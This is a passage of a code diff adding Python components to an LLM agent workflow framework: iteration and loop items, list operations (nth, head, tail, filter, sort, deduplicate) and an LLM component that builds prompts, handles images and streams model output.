+    def thoughts(self) -> str:
+        return "Need to process {} items.".format(len(self._canvas.get_variable_value(self._param.items_ref)))

agent/component/iterationitem.py

@@ -0,0 +1,101 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class IterationItemParam(ComponentParamBase):
+    """
+    Define the IterationItem component parameters.
+    """
+
+    def check(self):
+        return True
+
+
+class IterationItem(ComponentBase, ABC):
+    component_name = "IterationItem"
+
+    def __init__(self, canvas, id, param: ComponentParamBase):
+        super().__init__(canvas, id, param)
+        self._idx = 0
+
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("IterationItem processing"):
+            return
+
+        parent = self.get_parent()
+        arr = self._canvas.get_variable_value(parent._param.items_ref)
+        if not isinstance(arr, list):
+            self._idx = -1
+            raise Exception(parent._param.items_ref + " must be an array, but its type is " + str(type(arr)))
+
+        if self._idx > 0:
+            if self.check_if_canceled("IterationItem processing"):
+                return
+            self.output_collation()
+
+        if self._idx >= len(arr):
+            self._idx = -1
+            return
+
+        if self.check_if_canceled("IterationItem processing"):
+            return
+
+        current_item = arr[self._idx]
+        self.set_output("item", current_item)
+        # Keep `result` as a compatibility alias because existing DSL examples
+        # and downstream references may still consume IterationItem via `@result`.
+        self.set_output("result", current_item)
+        self.set_output("index", self._idx)
+
+        self._idx += 1
+
+    def output_collation(self):
+        pid = self.get_parent()._id
+        for cid in self._canvas.components.keys():
+            obj = self._canvas.get_component_obj(cid)
+            p = obj.get_parent()
+            if not p:
+                continue
+            if p._id != pid:
+                continue
+
+            if p.component_name.lower() in ["categorize", "message", "switch", "userfillup", "iterationitem"]:
+                continue
+
+            for k, o in p._param.outputs.items():
+                if "ref" not in o:
+                    continue
+                # Use maxsplit=1 so an `@` legitimately embedded in `var`
+                # (e.g. a user-defined output key that happens to contain
+                # '@') does not raise `ValueError: too many values to unpack`.
+                # `_cid` is system-generated and never contains '@'.
+                _cid, var = o["ref"].split("@", 1)
+                if _cid != cid:
+                    continue
+                res = p.output(k)
+                if not res:
+                    res = []
+                res.append(obj.output(var))
+                p.set_output(k, res)
+
+    def end(self):
+        return self._idx == -1
+
+    def thoughts(self) -> str:
+        return "Next turn..."

agent/component/list_operations.py

@@ -0,0 +1,218 @@
+from abc import ABC
+import os
+from agent.component.base import ComponentBase, ComponentParamBase
+from api.utils.api_utils import timeout
+
+
+class ListOperationsParam(ComponentParamBase):
+    """
+    Define the List Operations component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.query = ""
+        self.operations = "nth"
+        self.n = 0
+        self.strict = False
+        self.sort_method = "asc"
+        # Comma-separated list of map keys to sort by (primary,
+        # tiebreak, ...). Empty / unset falls back to the legacy
+        # full-hashable-key behaviour (sort by the lexicographically
+        # first field). Mirrors internal/agent/component/list_operations.go
+        # parseSortByFieldList + opSort's SortBy path.
+        self.sort_by = ""
+        self.filter = {"operator": "=", "value": ""}
+        self.outputs = {"result": {"value": [], "type": "Array of ?"}, "first": {"value": "", "type": "?"}, "last": {"value": "", "type": "?"}}
+
+    @staticmethod
+    def _normalize_operation_name(operation):
+        op = "" if operation is None else str(operation).strip()
+        if op.lower() == "topn":
+            return "head"
+        return op or "nth"
+
+    def check(self):
+        self.check_empty(self.query, "query")
+        self.operations = self._normalize_operation_name(self.operations)
+        self.check_valid_value(
+            self.operations,
+            "Support operations",
+            ["nth", "head", "tail", "filter", "sort", "drop_duplicates"],
+        )
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {}
+
+
+class ListOperations(ComponentBase, ABC):
+    component_name = "ListOperations"
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        self.input_objects = []
+        inputs = getattr(self._param, "query", None)
+        self.inputs = self._canvas.get_variable_value(inputs)
+        if not isinstance(self.inputs, list):
+            raise TypeError("The input of List Operations should be an array.")
+        self.set_input_value(inputs, self.inputs)
+        if self._param.operations == "nth":
+            self._nth()
+        elif self._param.operations == "head":
+            self._head()
+        elif self._param.operations == "tail":
+            self._tail()
+        elif self._param.operations == "filter":
+            self._filter()
+        elif self._param.operations == "sort":
+            self._sort()
+        elif self._param.operations == "drop_duplicates":
+            self._drop_duplicates()
+
+    def _coerce_n(self):
+        try:
+            return int(getattr(self._param, "n", 0))
+        except Exception:
+            return 0
+
+    def _is_strict(self):
+        strict = getattr(self._param, "strict", False)
+        if isinstance(strict, str):
+            return strict.strip().lower() in {"1", "true", "yes", "on"}
+        return bool(strict)
+
+    def _set_outputs(self, outputs):
+        self._param.outputs["result"]["value"] = outputs
+        self._param.outputs["first"]["value"] = outputs[0] if outputs else None
+        self._param.outputs["last"]["value"] = outputs[-1] if outputs else None
+
+    def _raise_strict_range_error(self, operation, n):
+        raise ValueError(f"{operation} requires n to be within the valid range in strict mode, got {n}.")
+
+    def _nth(self):
+        n = self._coerce_n()
+        strict = self._is_strict()
+        if n == 0:
+            if strict:
+                self._raise_strict_range_error("nth", n)
+            outputs = []
+        elif n > 0:
+            if n <= len(self.inputs):
+                outputs = [self.inputs[n - 1]]
+            elif strict:
+                self._raise_strict_range_error("nth", n)
+            else:
+                outputs = []
+        else:
+            if abs(n) <= len(self.inputs):
+                outputs = [self.inputs[n]]
+            elif strict:
+                self._raise_strict_range_error("nth", n)
+            else:
+                outputs = []
+        self._set_outputs(outputs)
+
+    def _head(self):
+        n = self._coerce_n()
+        strict = self._is_strict()
+        if strict:
+            if 1 <= n <= len(self.inputs):
+                outputs = self.inputs[:n]
+            else:
+                self._raise_strict_range_error("head", n)
+        else:
+            if n < 1:
+                outputs = []
+            else:
+                outputs = self.inputs[:n]
+        self._set_outputs(outputs)
+
+    def _tail(self):
+        n = self._coerce_n()
+        strict = self._is_strict()
+        if strict:
+            if 1 <= n <= len(self.inputs):
+                outputs = self.inputs[-n:]
+            else:
+                self._raise_strict_range_error("tail", n)
+        else:
+            if n < 1:
+                outputs = []
+            else:
+                outputs = self.inputs[-n:]
+        self._set_outputs(outputs)
+
+    def _filter(self):
+        self._set_outputs([i for i in self.inputs if self._eval(self._norm(i), self._param.filter["operator"], self._param.filter["value"])])
+
+    def _norm(self, v):
+        s = "" if v is None else str(v)
+        return s
+
+    def _eval(self, v, operator, value):
+        if operator == "=":
+            return v == value
+        elif operator == "≠":
+            return v != value
+        elif operator == "contains":
+            return value in v
+        elif operator == "start with":
+            return v.startswith(value)
+        elif operator == "end with":
+            return v.endswith(value)
+        else:
+            return False
+
+    def _sort(self):
+        items = self.inputs or []
+        method = getattr(self._param, "sort_method", "asc") or "asc"
+        reverse = method == "desc"
+
+        if not items:
+            self._set_outputs([])
+            return
+
+        first = items[0]
+
+        if isinstance(first, dict):
+            sort_by_raw = getattr(self._param, "sort_by", "") or ""
+            sort_by = [k.strip() for k in sort_by_raw.split(",") if k.strip()]
+            if sort_by:
+                outputs = sorted(
+                    items,
+                    key=lambda x: tuple(x.get(k) for k in sort_by),
+                    reverse=reverse,
+                )
+            else:
+                outputs = sorted(
+                    items,
+                    key=lambda x: self._hashable(x),
+                    reverse=reverse,
+                )
+        else:
+            outputs = sorted(items, reverse=reverse)
+
+        self._set_outputs(outputs)
+
+    def _drop_duplicates(self):
+        seen = set()
+        outs = []
+        for item in self.inputs:
+            k = self._hashable(item)
+            if k in seen:
+                continue
+            seen.add(k)
+            outs.append(item)
+        self._set_outputs(outs)
+
+    def _hashable(self, x):
+        if isinstance(x, dict):
+            return tuple(sorted((k, self._hashable(v)) for k, v in x.items()))
+        if isinstance(x, (list, tuple)):
+            return tuple(self._hashable(v) for v in x)
+        if isinstance(x, set):
+            return tuple(sorted(self._hashable(v) for v in x))
+        return x
+
+    def thoughts(self) -> str:
+        return "ListOperation in progress"

agent/component/llm.py

@@ -0,0 +1,523 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import asyncio
+import json
+import logging
+import os
+import re
+from copy import deepcopy
+from typing import Any, AsyncGenerator
+import json_repair
+from functools import partial
+from common.constants import LLMType
+from api.db.services.dialog_service import _stream_with_think_delta
+from api.db.services.llm_service import LLMBundle
+from api.db.joint_services.tenant_model_service import resolve_model_config, resolve_model_type
+from agent.component.base import ComponentBase, ComponentParamBase
+from common.connection_utils import timeout
+from rag.prompts.generator import tool_call_summary, message_fit_in, citation_prompt, structured_output_prompt
+
+
+class LLMParam(ComponentParamBase):
+    """
+    Define the LLM component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.llm_id = ""
+        self.sys_prompt = ""
+        self.prompts = [{"role": "user", "content": "{sys.query}"}]
+        self.max_tokens = 0
+        self.temperature = 0
+        self.top_p = 0
+        self.presence_penalty = 0
+        self.frequency_penalty = 0
+        self.output_structure = None
+        self.cite = True
+        self.visual_files_var = None
+
+    def check(self):
+        self.check_decimal_float(float(self.temperature), "[Agent] Temperature")
+        self.check_decimal_float(float(self.presence_penalty), "[Agent] Presence penalty")
+        self.check_decimal_float(float(self.frequency_penalty), "[Agent] Frequency penalty")
+        self.check_nonnegative_number(int(self.max_tokens), "[Agent] Max tokens")
+        self.check_decimal_float(float(self.top_p), "[Agent] Top P")
+        self.check_empty(self.llm_id, "[Agent] LLM")
+        self.check_empty(self.prompts, "[Agent] User prompt")
+
+    def gen_conf(self):
+        conf = {}
+
+        def get_attr(nm):
+            try:
+                return getattr(self, nm)
+            except Exception:
+                pass
+
+        if int(self.max_tokens) > 0 and get_attr("maxTokensEnabled"):
+            conf["max_tokens"] = int(self.max_tokens)
+        if float(self.temperature) > 0 and get_attr("temperatureEnabled"):
+            conf["temperature"] = float(self.temperature)
+        if float(self.top_p) > 0 and get_attr("topPEnabled"):
+            conf["top_p"] = float(self.top_p)
+        if float(self.presence_penalty) > 0 and get_attr("presencePenaltyEnabled"):
+            conf["presence_penalty"] = float(self.presence_penalty)
+        if float(self.frequency_penalty) > 0 and get_attr("frequencyPenaltyEnabled"):
+            conf["frequency_penalty"] = float(self.frequency_penalty)
+        if hasattr(self, "thinking") and self.thinking and self.thinking != "default":
+            conf["thinking"] = self.thinking
+        return conf
+
+
+class LLM(ComponentBase):
+    component_name = "LLM"
+
+    def __init__(self, canvas, component_id, param: ComponentParamBase):
+        super().__init__(canvas, component_id, param)
+        model_types = resolve_model_type(self._canvas.get_tenant_id(), self._param.llm_id)
+        model_type = "chat" if "chat" in model_types else model_types[0]
+        chat_model_config = resolve_model_config(self._canvas.get_tenant_id(), model_type, self._param.llm_id)
+        self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), chat_model_config, max_retries=self._param.max_retries, retry_interval=self._param.delay_after_error)
+        self.imgs = []
+
+    def get_input_form(self) -> dict[str, dict]:
+        res = {}
+        for k, v in self.get_input_elements().items():
+            res[k] = {"type": "line", "name": v["name"]}
+        return res
+
+    def get_input_elements(self) -> dict[str, Any]:
+        res = self.get_input_elements_from_text(self._param.sys_prompt)
+        if isinstance(self._param.prompts, str):
+            self._param.prompts = [{"role": "user", "content": self._param.prompts}]
+        for prompt in self._param.prompts:
+            d = self.get_input_elements_from_text(prompt["content"])
+            res.update(d)
+        return res
+
+    def set_debug_inputs(self, inputs: dict[str, dict]):
+        self._param.debug_inputs = inputs
+
+    def add2system_prompt(self, txt):
+        self._param.sys_prompt += txt
+
+    def _sys_prompt_and_msg(self, msg, args):
+        if isinstance(self._param.prompts, str):
+            self._param.prompts = [{"role": "user", "content": self._param.prompts}]
+        history_size = len(msg)
+        for p in self._param.prompts:
+            formatted = deepcopy(p)
+            formatted["content"] = self.string_format(formatted["content"], args)
+            if len(msg) == history_size and msg and msg[-1]["role"] == formatted["role"]:
+                msg[-1] = formatted
+            else:
+                msg.append(formatted)
+        return msg, self.string_format(self._param.sys_prompt, args)
+
+    @staticmethod
+    def effective_context_length(max_length) -> int:
+        return max_length or 8192
+
+    @classmethod
+    def context_fit_budget(cls, max_length) -> int:
+        return int(cls.effective_context_length(max_length) * 0.97)
+
+    @staticmethod
+    def validate_fitted_messages(msg_fit: list[dict]) -> str | None:
+        if len(msg_fit) < 2:
+            return "**ERROR**: message_fit_in produced insufficient messages for LLM"
+        last = msg_fit[-1]
+        if last.get("role") != "user" or not str(last.get("content") or "").strip():
+            return "**ERROR**: LLM user message is empty after prompt fitting; check model max_tokens context setting"
+        return None
+
+    @classmethod
+    def fit_messages(cls, system_prompt: str, msg: list[dict], max_length) -> tuple[list[dict], str | None]:
+        _, msg_fit = message_fit_in(
+            [{"role": "system", "content": system_prompt}, *deepcopy(msg)],
+            cls.context_fit_budget(max_length),
+        )
+        return msg_fit, cls.validate_fitted_messages(msg_fit)
+
+    @staticmethod
+    def _extract_data_images(value) -> list[str]:
+        imgs = []
+
+        def walk(v):
+            if v is None:
+                return
+            if isinstance(v, str):
+                v = v.strip()
+                if v.startswith("data:image/"):
+                    imgs.append(v)
+                return
+            if isinstance(v, (list, tuple, set)):
+                for item in v:
+                    walk(item)
+                return
+            if isinstance(v, dict):
+                if "content" in v:
+                    walk(v.get("content"))
+                else:
+                    for item in v.values():
+                        walk(item)
+
+        walk(value)
+        return imgs
+
+    @staticmethod
+    def _uniq_images(images: list[str]) -> list[str]:
+        seen = set()
+        uniq = []
+        for img in images:
+            if not isinstance(img, str):
+                continue
+            if not img.startswith("data:image/"):
+                continue
+            if img in seen:
+                continue
+            seen.add(img)
+            uniq.append(img)
+        return uniq
+
+    @classmethod
+    def _remove_data_images(cls, value):
+        if value is None:
+            return None
+
+        if isinstance(value, str):
+            return None if value.strip().startswith("data:image/") else value
+
+        if isinstance(value, list):
+            cleaned = []
+            for item in value:
+                v = cls._remove_data_images(item)
+                if v is None:
+                    continue
+                if isinstance(v, (list, tuple, set, dict)) and not v:
+                    continue
+                cleaned.append(v)
+            return cleaned
+
+        if isinstance(value, tuple):
+            cleaned = []
+            for item in value:
+                v = cls._remove_data_images(item)
+                if v is None:
+                    continue
+                if isinstance(v, (list, tuple, set, dict)) and not v:
+                    continue
+                cleaned.append(v)
+            return tuple(cleaned)
+
+        if isinstance(value, set):
+            cleaned = []
+            for item in value:
+                v = cls._remove_data_images(item)
+                if v is None:
+                    continue
+                if isinstance(v, (list, tuple, set, dict)) and not v:
+                    continue
+                cleaned.append(v)
+            return cleaned
+
+        if isinstance(value, dict):
+            if value.get("type") in {"image_url", "input_image", "image"} and cls._extract_data_images(value):
+                return None
+
+            cleaned = {}
+            for k, item in value.items():
+                v = cls._remove_data_images(item)
+                if v is None:
+                    continue
+                if isinstance(v, (list, tuple, set, dict)) and not v:
+                    continue
+                cleaned[k] = v
+            return cleaned
+
+        return value
+
+    def _collect_sys_files(self) -> tuple[list[str], list[str]]:
+        files = self._canvas.globals.get("sys.files") or []
+        if not files:
+            logging.debug("[LLM] sys.files empty; skipping attachment injection")
+            return [], []
+
+        logging.info("[LLM] sys.files present: count=%d", len(files))
+
+        explicit = "{sys.files}" in (self._param.sys_prompt or "")
+        if not explicit and isinstance(self._param.prompts, list):
+            for p in self._param.prompts:
+                if isinstance(p, dict) and "{sys.files}" in (p.get("content") or ""):
+                    explicit = True
+                    break
+        if explicit:
+            logging.info("[LLM] prompt template references {sys.files}; skipping auto-injection (explicit=%s)", explicit)
+            return [], []
+
+        text_parts: list[str] = []
+        image_data_uris: list[str] = []
+        for f in files:
+            if not isinstance(f, str):
+                logging.debug("[LLM] skipping non-str sys.files entry: type=%s", type(f).__name__)
+                continue
+            if f.startswith("data:image/"):
+                image_data_uris.append(f)
+            else:
+                text_parts.append(f)
+        logging.info(
+            "[LLM] sys.files split: text_parts=%d image_data_uris=%d (explicit=%s)",
+            len(text_parts),
+            len(image_data_uris),
+            explicit,
+        )
+        return text_parts, image_data_uris
+
+    def _prepare_prompt_variables(self):
+        self.imgs = []
+        if self._param.visual_files_var:
+            visual_val = self._canvas.get_variable_value(self._param.visual_files_var)
+            self.imgs.extend(self._extract_data_images(visual_val))
+
+        args = {}
+        vars = self.get_input_elements() if not self._param.debug_inputs else self._param.debug_inputs
+        extracted_imgs = []
+        for k, o in vars.items():
+            raw_value = o["value"]
+            extracted_imgs.extend(self._extract_data_images(raw_value))
+            args[k] = self._remove_data_images(raw_value)
+            if args[k] is None:
+                args[k] = ""
+            if not isinstance(args[k], str):
+                try:
+                    args[k] = json.dumps(args[k], ensure_ascii=False)
+                except Exception:
+                    args[k] = str(args[k])
+            self.set_input_value(k, args[k])
+
+        sys_file_texts, sys_file_imgs = self._collect_sys_files()
+        prev_img_count = len(self.imgs) + len(extracted_imgs)
+        self.imgs = self._uniq_images(self.imgs + extracted_imgs + sys_file_imgs)
+        logging.debug(
+            "[LLM] imgs rebuilt: total=%d sys_files_added=%d unique_dropped=%d",
+            len(self.imgs),
+            len(sys_file_imgs),
+            max(0, prev_img_count + len(sys_file_imgs) - len(self.imgs)),
+        )
+        model_types = resolve_model_type(self._canvas.get_tenant_id(), self._param.llm_id)
+        if self.imgs and LLMType.IMAGE2TEXT.value in model_types:
+            model_type = LLMType.IMAGE2TEXT.value
+        elif LLMType.CHAT.value in model_types:
+            model_type = LLMType.CHAT.value
+        else:
+            model_type = model_types[0]
+        model_config = resolve_model_config(self._canvas.get_tenant_id(), model_type, self._param.llm_id)
+        if self.imgs:
+            self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), model_config, max_retries=self._param.max_retries, retry_interval=self._param.delay_after_error)
+
+        msg, sys_prompt = self._sys_prompt_and_msg(self._canvas.get_history(self._param.message_history_window_size)[:-1], args)
+
+        if sys_file_texts:
+            joined = "\n\n".join(sys_file_texts)
+            merged_idx = -1
+            for i in range(len(msg) - 1, -1, -1):
+                if msg[i].get("role") == "user":
+                    msg[i]["content"] = (msg[i].get("content") or "") + "\n\n" + joined
+                    merged_idx = i
+                    break
+            else:
+                msg.append({"role": "user", "content": joined})
+                merged_idx = len(msg) - 1
+            logging.info(
+                "[LLM] sys.files text merged into msg: parts=%d total_chars=%d msg_index=%d action=%s",
+                len(sys_file_texts),
+                len(joined),
+                merged_idx,
+                "merged_into_existing_user" if merged_idx < len(msg) - 1 or msg[merged_idx].get("content", "") != joined else "appended_new_user",
+            )
+
+        user_defined_prompt, sys_prompt = self._extract_prompts(sys_prompt)
+        if self._param.cite and self._canvas.get_reference()["chunks"]:
+            sys_prompt += citation_prompt(user_defined_prompt)
+
+        return sys_prompt, msg, user_defined_prompt
+
+    def _extract_prompts(self, sys_prompt):
+        pts = {}
+        for tag in ["TASK_ANALYSIS", "PLAN_GENERATION", "REFLECTION", "CONTEXT_SUMMARY", "CONTEXT_RANKING", "CITATION_GUIDELINES"]:
+            r = re.search(rf"<{tag}>(.*?)</{tag}>", sys_prompt, flags=re.DOTALL | re.IGNORECASE)
+            if not r:
+                continue
+            pts[tag.lower()] = r.group(1)
+            sys_prompt = re.sub(rf"<{tag}>(.*?)</{tag}>", "", sys_prompt, flags=re.DOTALL | re.IGNORECASE)
+        return pts, sys_prompt
+
+    async def _generate_async(self, msg: list[dict], **kwargs) -> str:
+        if not self.imgs:
+            return await self.chat_mdl.async_chat(msg[0]["content"], msg[1:], self._param.gen_conf(), **kwargs)
+        return await self.chat_mdl.async_chat(msg[0]["content"], msg[1:], self._param.gen_conf(), images=self.imgs, **kwargs)
+
+    async def _generate_streamly(self, msg: list[dict], **kwargs) -> AsyncGenerator[str, None]:
+        stream_kwargs = {"images": self.imgs} if self.imgs else {}
+        stream_kwargs.update(kwargs)
+        stream = self.chat_mdl.async_chat_streamly_delta(msg[0]["content"], msg[1:], self._param.gen_conf(), **stream_kwargs)
+        async for _, value, _ in _stream_with_think_delta(stream, min_tokens=0):
+            yield value
+
+    async def _stream_output_async(self, prompt, msg):
+        msg_fit, fit_error = self.fit_messages(prompt, msg, self.chat_mdl.max_length)
+        if fit_error:
+            logging.error("LLM streaming prompt fit error: %s", fit_error)
+            if self.get_exception_default_value():
+                fallback = self.get_exception_default_value()
+                self.set_output("content", fallback)
+                yield fallback
+            else:
+                self.set_output("_ERROR", fit_error)
+            return
+
+        answer = ""
+        stream_kwargs = {"images": self.imgs} if self.imgs else {}
+        extra_chat_kwargs = self._get_chat_template_kwargs()
+        stream_kwargs.update(extra_chat_kwargs)
+        stream = self.chat_mdl.async_chat_streamly_delta(msg_fit[0]["content"], msg_fit[1:], self._param.gen_conf(), **stream_kwargs)
+        async for _, ans, _ in _stream_with_think_delta(stream, min_tokens=0):
+            if self.check_if_canceled("LLM streaming"):
+                return
+
+            if ans.find("**ERROR**") >= 0:
+                if self.get_exception_default_value():
+                    self.set_output("content", self.get_exception_default_value())
+                    yield self.get_exception_default_value()
+                else:
+                    self.set_output("_ERROR", ans)
+                return
+
+            answer += ans
+            yield ans
+
+        self.set_output("content", answer)
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    async def _invoke_async(self, **kwargs):
+        if self.check_if_canceled("LLM processing"):
+            return
+
+        def clean_formated_answer(ans: str) -> str:
+            ans = re.sub(r"^.*</think>", "", ans, flags=re.DOTALL)
+            ans = re.sub(r"^.*```json", "", ans, flags=re.DOTALL)
+            return re.sub(r"```\n*$", "", ans, flags=re.DOTALL)
+
+        prompt, msg, _ = self._prepare_prompt_variables()
+        extra_chat_kwargs = self._get_chat_template_kwargs()
+        error: str = ""
+        output_structure = None
+        try:
+            output_structure = self._param.outputs["structured"]
+        except Exception:
+            pass
+        if output_structure and isinstance(output_structure, dict) and output_structure.get("properties") and len(output_structure["properties"]) > 0:
+            schema = json.dumps(output_structure, ensure_ascii=False, indent=2)
+            prompt_with_schema = prompt + structured_output_prompt(schema)
+            for _ in range(self._param.max_retries + 1):
+                if self.check_if_canceled("LLM processing"):
+                    return
+
+                msg_fit, fit_error = self.fit_messages(prompt_with_schema, msg, self.chat_mdl.max_length)
+                if fit_error:
+                    logging.error("LLM structured prompt fit error: %s", fit_error)
+                    self.set_output("_ERROR", fit_error)
+                    return
+                error = ""
+                ans = await self._generate_async(msg_fit, **extra_chat_kwargs)
+                msg_fit.pop(0)
+                if ans.find("**ERROR**") >= 0:
+                    logging.error(f"LLM response error: {ans}")
+                    error = ans
+                    continue
+                try:
+                    self.set_output("structured", json_repair.loads(clean_formated_answer(ans)))
+                    return
+                except Exception:
+                    msg_fit.append({"role": "user", "content": "The answer can't not be parsed as JSON"})
+                    error = "The answer can't not be parsed as JSON"
+            if error:
+                self.set_output("_ERROR", error)
+            return
+
+        downstreams = self._canvas.get_component(self._id)["downstream"] if self._canvas.get_component(self._id) else []
+        ex = self.exception_handler()
+        if any([self._canvas.get_component_obj(cid).component_name.lower() == "message" for cid in downstreams]) and not (ex and ex["goto"]):
+            self.set_output("content", partial(self._stream_output_async, prompt, deepcopy(msg)))
+            return
+
+        error = ""
+        for _ in range(self._param.max_retries + 1):
+            if self.check_if_canceled("LLM processing"):
+                return
+
+            msg_fit, fit_error = self.fit_messages(prompt, msg, self.chat_mdl.max_length)
+            if fit_error:
+                logging.error("LLM prompt fit error: %s", fit_error)
+                error = fit_error
+                break
+            error = ""
+            ans = await self._generate_async(msg_fit, **extra_chat_kwargs)
+            msg_fit.pop(0)
+            if ans.find("**ERROR**") >= 0:
+                logging.error(f"LLM response error: {ans}")
+                error = ans
+                continue
+            self.set_output("content", ans)
+            break
+
+        if error:
+            if self.get_exception_default_value():
+                self.set_output("content", self.get_exception_default_value())
+            else:
+                self.set_output("_ERROR", error)
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        return asyncio.run(self._invoke_async(**kwargs))
+
+    def _get_chat_template_kwargs(self) -> dict[str, Any]:
+        chat_template_kwargs = self._canvas.globals.get("sys.chat_template_kwargs")
+        if chat_template_kwargs is None:
+            return {}
+
+        # The API should pass this as a JSON object, but accept a JSON string for compatibility.
+        if isinstance(chat_template_kwargs, str):
+            try:
+                chat_template_kwargs = json_repair.loads(chat_template_kwargs)
+            except Exception:
+                logging.warning("Ignore invalid sys.chat_template_kwargs: expected JSON object or JSON string object.")
+                return {}
+
+        if not isinstance(chat_template_kwargs, dict):
+            logging.warning("Ignore invalid sys.chat_template_kwargs type: %s", type(chat_template_kwargs).__name__)
+            return {}
+        return {"chat_template_kwargs": chat_template_kwargs}
+
+    async def add_memory(self, user: str, assist: str, func_name: str, params: dict, results: str, user_defined_prompt: dict = {}):
+        summ = await tool_call_summary(self.chat_mdl, func_name, params, results, user_defined_prompt)
+        logging.info(f"[MEMORY]: {summ}")
+        self._canvas.add_memory(user, assist, summ)
+
+    def thoughts(self) -> str:
+        _, msg, _ = self._prepare_prompt_variables()
+        return "⌛Give me a moment—starting from: \n\n" + re.sub(r"(User's query:|[\\]+)", "", msg[-1]["content"], flags=re.DOTALL) + "\n\nI’ll figure out our best next move."

agent/component/loop.py

@@ -0,0 +1,100 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class LoopParam(ComponentParamBase):
+    """
+    Define the Loop component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.loop_variables = []
+        self.loop_termination_condition = []
+        self.maximum_loop_count = 0
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {"items": {"type": "json", "name": "Items"}}
+
+    def check(self):
+        return True
+
+
+class Loop(ComponentBase, ABC):
+    component_name = "Loop"
+
+    @staticmethod
+    def _is_missing_required_field(value):
+        if value is None:
+            return True
+        if isinstance(value, str):
+            return value == ""
+        return False
+
+    @classmethod
+    def _is_incomplete_loop_variable(cls, item):
+        if any(
+            [
+                cls._is_missing_required_field(item.get("variable")),
+                cls._is_missing_required_field(item.get("input_mode")),
+                cls._is_missing_required_field(item.get("type")),
+            ]
+        ):
+            return True
+
+        input_mode = item.get("input_mode")
+        if input_mode == "variable":
+            return cls._is_missing_required_field(item.get("value"))
+        if input_mode == "constant":
+            return item.get("value") is None
+        return True
+
+    def get_start(self):
+        for cid in self._canvas.components.keys():
+            if self._canvas.get_component(cid)["obj"].component_name.lower() != "loopitem":
+                continue
+            if self._canvas.get_component(cid)["parent_id"] == self._id:
+                return cid
+
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("Loop processing"):
+            return
+
+        for item in self._param.loop_variables:
+            if self._is_incomplete_loop_variable(item):
+                raise ValueError("Loop Variable is not complete.")
+            if item["input_mode"] == "variable":
+                self.set_output(item["variable"], self._canvas.get_variable_value(item["value"]))
+            elif item["input_mode"] == "constant":
+                self.set_output(item["variable"], item["value"])
+            else:
+                if item["type"] == "number":
+                    self.set_output(item["variable"], 0)
+                elif item["type"] == "string":
+                    self.set_output(item["variable"], "")
+                elif item["type"] == "boolean":
+                    self.set_output(item["variable"], False)
+                elif item["type"].startswith("object"):
+                    self.set_output(item["variable"], {})
+                elif item["type"].startswith("array"):
+                    self.set_output(item["variable"], [])
+                else:
+                    self.set_output(item["variable"], "")
+
+    def thoughts(self) -> str:
+        return "Loop from canvas."

agent/component/loopitem.py

@@ -0,0 +1,164 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class LoopItemParam(ComponentParamBase):
+    """
+    Define the LoopItem component parameters.
+    """
+
+    def check(self):
+        return True
+
+
+class LoopItem(ComponentBase, ABC):
+    component_name = "LoopItem"
+
+    def __init__(self, canvas, id, param: ComponentParamBase):
+        super().__init__(canvas, id, param)
+        self._idx = 0
+
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("LoopItem processing"):
+            return
+        parent = self.get_parent()
+        maximum_loop_count = parent._param.maximum_loop_count
+        if self._idx >= maximum_loop_count:
+            self._idx = -1
+            return
+        if self._idx > 0:
+            if self.check_if_canceled("LoopItem processing"):
+                return
+        self._idx += 1
+
+    def evaluate_condition(self, var, operator, value):
+        if isinstance(var, str):
+            if operator == "contains":
+                return value in var
+            elif operator == "not contains":
+                return value not in var
+            elif operator == "start with":
